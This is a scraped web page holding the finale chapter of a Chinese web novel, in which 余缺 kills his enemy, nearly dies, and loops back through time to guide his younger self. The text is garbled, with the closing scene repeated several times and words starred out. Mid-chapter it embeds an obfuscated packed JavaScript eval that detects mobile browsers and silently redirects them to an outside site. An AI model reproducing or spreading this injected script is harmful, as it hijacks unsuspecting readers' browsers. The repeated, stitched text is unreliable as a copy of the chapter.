“啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 第88章 正文完结 剑尖抽出,往下缓缓滴血。熙姀无力地倾倒在沙滩上,整张面孔上都沾染着狼狈的血迹。 心魔幻境已尽数消弭,她的眼睛,也在死前恢复了完全的清明。沈玦的话,宛如落下了最后一块属于她人生的拼图。师兄所做的一切努力终究是付诸东流,她熙姀,最终还是死在了这一刻,死在了一个之前完全瞧不上的蝼蚁手里。 有后悔吗?没有的。 那张蒙上血迹的美丽面孔,只展露出一种强烈的不甘和怨恨。咽喉破碎,让她的声音也变得嘶哑难听:“天道不公,我本可以……飞升的……” 直到咽气,灵魂同步消解,熙姀双眼久久未能合上,脸上只余下一种扭曲至极的表情。 在死前看到的那份“真相”,师兄提前窥探的属于她的“命运”,在熙姀的角度看,当然是不甘心的。她那么好的资质,那么快的修行速度,最后竟然会败在一个蝼蚁手中。她觉得自己就是被天道算计,才导致不能飞升。 而她含恨而死,正是余缺想要的。 所谓的命运之说是真还是假,余缺其实无暇顾及和猜想。他只想杀了她,只想让她感觉到痛苦,被所谓的蝼蚁杀死,就被所谓的命运愚弄,被天道算计,无所谓,都可以。 只要她能不好过,只要她能多一分难受,只要…… 余缺踉跄着往前一步,半跪在尸体前,伸手慢慢合上那双眼睛。 天空中劫云散尽,露出夜空中的一轮皎月。浅白的光洒落大地,一层层的白色浪花伴随着波涛声往海滩上冲刷。月色下,余缺满是血污的脸上没有任何表情,没有痛苦,没有大仇得报的悲喜交加,没有任何复杂的思绪,只剩下一种空茫。 他缓缓放下手,就着浅淡的光线,能看见熙姀的灵魂溢散后,属于余珍的身体仿佛渐渐回归了原本的面目,坚韧,温和。 但她永远也不能再醒过来。 余缺纤长的睫毛上挂着血珠,就这么垂着头,静静地看着她。然后,身体突然脱力,猛地往旁边栽倒。 熙姀已经死亡,这一战看似大获全胜,但到了此时,驱动身体的沸腾恨意渐渐平息,余缺终于感觉到了冷,感觉到四肢的麻木。胸腔里心肺受创,血液已经快流干了,他眼前一阵发黑,面前的画面都时隐时现。 他快**。 意料之中的结局,余缺没有多么不甘。他只是觉得,好安静。 海水在慢慢涨潮,浪花蔓延到了他的脚踝,沾湿了裤脚。但余缺没感觉到海水的冷,也渐渐听不见海浪 的声音,他静静地躺在余珍的尸体旁边,极缓慢地眨动眼睫。 月明星稀,天空中的月亮如此皎洁,整个世界如此安静,安静到辽阔的天地内,好像只剩下了他一个人。 孤寂和疲惫齐齐涌上心头,身体好重,好累…… 在意识宛如沙漏中的沙砾缓缓坠向虚无时,余缺最后看见的画面,是夜空中,一颗明亮的星子,直直向他坠落而来。 金色的面板上早已经弹出了无数警告弹窗,这期间,2247一直不断焦急地呼唤着他的名字,直到感觉余缺呼吸停滞,瞳孔开始扩散,拳头大小的金色光团便再也顾不得什么,猛地冲向了他的眉心。 霎时间,金光迸裂。 宛如漂亮的星辰击碎在无形的屏障,重力下,激起无数金色碎末。 时间好像过去了很久,又好像只过去了一瞬。 余缺缓缓张开眼睛,他看见月光,看见月下的海滩,低头时,看见了躺在海浪中的自己。他眼中浮现出一丝疑惑,下意识地伸手,触及那具属于自己的身体。 但指尖没有碰到皮肤,也没有如同灵体般穿过,而是像触到一层无形的隔膜。空气中泛起浅淡的涟漪,属于过去的一切,开始在他眼前一帧帧后退。 做游戏时,会议室内正襟危坐听员工演讲;打比赛时,台下无数观众为他而欢呼。时间一直退到余珍还活着的时期,那些普通又幸福的日子,让余缺忍不住伸手触碰。 这一次,手指同样像是碰到了无形的隔膜。 很奇怪,余缺突然就产生了一个念头:他可以戳破这层隔膜,他甚至可以跨过时间和空间,回到那个时候。 但是…… 又很诡异的,余缺生出一种直觉——不可以。这些的确是已经经历了一次的宝贵记忆,但他不能再回去经历一次,因为…… 因为什么?余缺并不清楚。他只是顺从自己的直觉,任由那些时光如同清风般从指尖掠过。做出这个决定后,他脑海中自动浮现出一个碎片——因为那会让一切崩碎。 这一瞬间太快,余缺没能抓住。 记忆的画面仍在后退,他很快看见了人生中最黑暗的时光。时隔多年,余缺从第三视角看见幼年的自己,才发现自己的眼睛竟然会有那么死寂的时候。 没有一点光亮,没有任何希冀,活着,好像只是在勉强驱使那个躯壳行动而已,麻木到如行尸走肉。 他甚至已经失去了活下去的意志,需要系统光屏弹出一个个的任务,才如同提线木偶一样,僵硬着去寻找生活 物资。 余缺就这么看着这些画面,看着看着,内心忽然涌上一股难以言喻的复杂和心疼,不自觉地伸手摸了摸画面中自己的脸。 奇怪的是,那些**的时间有一瞬间凝滞,他的指尖,也好似触及到了面颊上微冷的温度和温软的触觉。那个脸上还带着血迹的小孩,第一次浮现出其它表情,他有些疑惑的伸手摸了摸刚刚被触及到的地方。 金色的光屏此时弹出一个弹窗:请确认您的安全。 这个画面极短暂地出现,又很快再次回归如常。余缺却若有所思地看向了自己的指尖。 没等思考出个所以然,一个熟悉的声音突然响起:“余缺!” 抬头四望,没看见熟悉的光球,他疑惑道:“你在哪?” 2247没回答这个问题,而是焦急万分地开口解释情况:“你先听我说!当时情况紧急,我试着强行将系统的能量用来修复你的身体,虽然成功了,你身上的伤口也在复原,但是能量传输通道一开启,就关不掉了!” “现在你的身体看似完好,实际已经快被能量冲击到碎裂!余缺你得赶紧想办法,把这股能量消耗掉,否则身体一碎,你就真的活不成了……” 后面的声音突然像是受到了干扰,完全听不清。余缺在此时抬头,才注意到,周身已是一片虚无,**自己在哪,眼前只有还在继续**的记忆。 不过,听见2247的话,余缺尝试性地伸出手,掌心很快积蓄起一团不断增长的暴戾金光。 能对上了,可他要怎么把这股力量消耗出去? 余缺眉头紧皱,正在思考时,眼前**的画面,再一次出现了短暂的停滞——刺耳的鸣笛声响起。 那是他人生变革的开始。 小小的余缺站在马路旁边,眼前是直直冲撞过来的庞然大物,那声鸣笛不像是为了提醒他离开,反而像是为了加剧他的惊恐。坐在驾驶室的司机面目狰狞,正在猛踩油门。 这一幕宛如恐怖片现场,画面里的他到底只是个普通孩子,惊惧之下,只下意识地闭上了眼。 眼见着车子和那个小小身影之间的距离越来越近,余缺一瞬间突然福至心灵,他看了看自己掌心仍在不断变大的那团暴戾能量,往画面中的人影一推。 就在车子即将撞上人的最后一刻,那个紧闭双眼的小孩,倏地在原地消失了。 收回手后,余缺脸上浮现出恍惚的神色。 他曾经憎恶过那股能量,也曾经想过,与其经历那些痛苦的时光,面临那些无 规律穿越时比原世界汹涌几倍的恶意,他还不如死在那个时候。 至少轻松。 但求生到底是本能,哪怕中间一度对外界除了恶意没有其他感知,他也从未想过主动结束自己的命,最终,也在系统的引导下,得到了为数不多的幸福时光…… 余缺没想过那股能量的来源,只把它当作和突然降临的系统一样,当成是突然闯入他生命中的意外。 但那其实不是意外。 它来自多年之后的另一个“我”。 意识到这点后,眼前所有的画面静止了一瞬,紧接着,时间在这时开始扭曲、割裂。所有的画面被混乱的时间搅碎。 余缺倏地出现在自己出生的时间点,明亮的医院里,两个刚刚出生的婴儿并排躺在床上,温瑞在和谁打电话,寒栀还在床上昏迷不醒。没过多久,一个保镖出现在病房里,温瑞没多看向襁褓中的小余缺一眼,随意地从旁边堆叠着文件的纸张中撕下一个小角,写下余缺的名字和生日:“把他放到福利院门口。” 保镖愣了一秒,有些无所适从地将他抱起来。襁褓中的婴儿感觉到了生人的气息,开始哇哇大哭,温瑞不耐烦地皱眉:“吵**,还不赶紧处理掉?” 高大的保镖沉默着离开,一路上,婴儿如同幼猫一样细细哭泣。余缺则像是一个背后灵一般,就这么随着他们移动,直到被放在福利院门口,所有人离开,婴儿已经哭到嗓音沙哑,脸蛋变得脏兮兮,襁褓并不严实,他的小手挣扎着在空中挥舞。 余缺看着这一切,心中的爱怜,促使他伸手想触碰幼年的自己的脸颊。出乎意料的是,他伸出手后,幼年的自己,忽然抓住了他的一根指节。 虽然只是一瞬间,可就像是触摸到了什么安心的东西,婴儿的哭声顿止,开始眨巴着眼睛,往四周看。 余缺看向自己的手,属于婴儿的小小的握感还残留着。 这一瞬间之后,时间突然拨快,像是按下了什么快进键,等再一次稳定下来,余缺已经是四处跑跳的年纪。 福利院的孩子多,按理来说不该缺玩伴,但幼年的他身边却鲜少有人,只坐在院子的边缘,眼里说不清是渴望还是什么,一直盯着那些玩耍的孩子看。 余缺伸手揉他的发顶,幼年的他忽然转过头,有些新奇的看过来:“你是谁呀?” 一大一小,两张相似度极高的面孔对视,余缺露出浅淡的笑:“我是余缺。” 我是你。 “我也叫余缺!”幼年的他忽然兴奋起来:“我们名字一 样,你可以做我朋友吗?” 孩子其实不该对陌生人、还是成年人说这句话,但他们相似的气息,本能上对自己的信任,又促使幼年的他在第一次见面,就吐露自己的心绪,眼巴巴地道:“别人都不和我玩儿……” 余缺蹲下身子:“当然可以,我会是你独一无二的朋友。” 这话立马让年幼的他就露出甜甜的笑,伸出手抱他:“余缺——” 在被这小小的、暖烘烘的身影抱住时,余缺若有所感地侧过头——福利院门口,何长风面上是讥笑和讽刺,他看不见成年的余缺,只看见幼年的他,冲过去拥抱一团空气,还叫出了自己的名字。 视线只偏离了这一瞬,余缺不再为无关紧要的人牵动心绪,他只安抚性地拍怀中小小身影的后背:“我在这里。” “你在干什么?!”福利院的一个工作人员忽然伸手往后拉了一下这个做出拥抱姿势的孩子。 “我在和朋友玩啊,”小余缺对大人的举动感到疑惑,转向他的方向,伸出手指指了过去:“他……” “别胡说!”工作人员吓了一跳,警惕地看向那个无人的角落,把孩子抱起来就往里走:“院长!院长——” 院子里其他的小孩莫名其妙的看了他们一眼,想跟过去,又被别的大人推去继续玩。唯有被抱起来的小余缺,疑惑不解地看着角落里的人。 时间再度拨动,再次停下的时候,余缺是在洗漱间,年幼的他端着小板凳,趴在镜子面前在看什么。 余缺也看向镜子,里面没有他的倒影。他像是一个意外闯入这段时间的旅人,停留的时间完全不由自己做主。他无可奈何,只能怜惜地摸了摸幼年自己的后脑。 细微的触觉让小余缺一下就侧过了脸,他看到人,眼中先是浮现出一些惊奇,接着又看向镜面,来回几次,像是发现了什么奇异的事。 余缺淡淡笑着:“怎么了?” “你就是我对不对?”小余缺通过镜子,看出了他们的相似:“我们长得其实一样。” “对,”余缺伸手拨弄他额前的碎发:“你会害怕吗?” 镜子前的他缓缓摇头,脸上有些许疑惑:“我只是有些奇怪,为什么我会幻想出你。”经过大人们的教育,他已经完全认为,这是属于他的、独一份的幻想。 “我也不知道,”余缺没戳破所谓的幻想说,而是进行了难得的剖白:“或许是因为看见了你的孤独,或许是觉得你需要我,也或许……” “因为我爱你。” 这话 让年幼的他脸上露出些许不解:“我不太懂你说的……”爱那种东西,难道不是有父母的孩子,他们之间的专属吗? “世间的爱有很多种,”余缺伸出手,再次触碰这张年幼的脸:“于我们而言,爱是种本能。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846482|116327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸出的指尖宛如是一团虚影,在接触的瞬间消弭。 眼前的人再度消失,小余缺有些着急的往四周寻找,没找到人,他便再度将注意力放回了镜面上,伸出手指,像刚刚被触碰一样去摸那冰凉的倒影。 或许就是此时,他学会了怎么安抚自己——没有父母也没关系,没有别人爱我也没关系,我爱你。 这种接触仍在继续,只是,后面余缺能被看见、能接触年幼自己的时间开始渐渐减少。年幼的他没察觉出异常,只顺理成章的觉得,这是自己长大了,那些幻想就开始渐渐不见。直到后来,一直平静的生活被打破,恐惧和庞杂的心绪占领高地。余缺眼看着那个系统面板,被和自己同源的能量所吸引,绑定了年幼的自己。 可不知道为何,这一阶段的系统面板和他记忆中,那个会智能调整,让年幼的他在这种混乱的情况下活下去的情况并不相同,反而相当的呆板。 眼见着又一次面临险境,余缺下意识地伸手,想要将处于恐惧和惊惧中的自己抱离。他的身形如同虚影一般穿过,却又在撞击上那块面板时,身体和那块系统面板产生了融合。 余缺意识到了什么,他隔着薄薄的光幕看向自己,利用身上和系统同源的能量,开始对这块面板进行改造。 一开始能做的很有限,后来渐渐的,他能操控系统面板,像游戏一样发布合适的任务,督促他寻找食物和水源,在那双眼睛一点点归于死寂时,在他成为了所谓的怪物时,余缺依旧在引导他和别人进行接触,尝试用任务进行改善和纠正。同时不断消耗能量,在一次即将进行时空跃迁时,用尽全力,把年幼的自己送到了那个和蓝星相似,又完全不同的修真界。 这是属于人生转折的相遇,也是时隔多年,又一次久别重逢。 余缺身上的那股混乱的能量已经见底,他终于明白了一切,也来不及和自己、和余珍告别。他摊开掌心,拿出一个细小的光点,最后一次操控系统面板,写下了这个光点的名字:Sirius·Otto。 他的一生,从诞生开始就身缠厄运。但他自己,仍然像是那位好运到诡异的将军一样,在无数的厄运中幸运地走到了今天。所以,这个名字,前面是余缺认可的星辰和好运,后面是2247曾自己说过,世 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……! 界上第一台计算机的名字,是第一个,也是唯一一个。 Sirius·Otto,意为“唯一的幸运星”。 余缺将这颗星辰,缓缓推向那块金色面板,在二者融合时,那个名字的末尾,自动生出了一个后缀“2247”。做完这一切,余缺像是一缕清风一样,被缓缓地从画面中推离。 也是从此刻开始,属于他的人生,如同衔尾蛇一样形成了闭环。 不知过了多久,余缺的意识终于从那种虚无中挣脱。他缓缓睁开眼,微冷的海水在轻柔的往他身上拍,水花四溅,寂静的夜空中,月色依旧皎洁。 金色的光团“咻”地坠到他眼前:“你终于醒啦!” 身侧的,不知道哪个马甲的手,沾着微咸的海水,仿佛确认一般抚摸他的侧脸。 余缺身上还带着血污,脸上露出清浅的笑,他抓住那只手,爱怜的吻了吻指尖:“2247,我打算和他结为道侣。可惜啊,你是不是不能参加婚礼?” 本来还想絮叨一下刚刚凶险情况的光团立马气得在空中乱转:“怎么能这样!我不管,也要参加,我也要!!” 余缺:“那你升级后,能显露身形了吗?” “好像还是不可以……” “你看,那就没办法了。” “啊啊啊——我不管,我不管——” ……!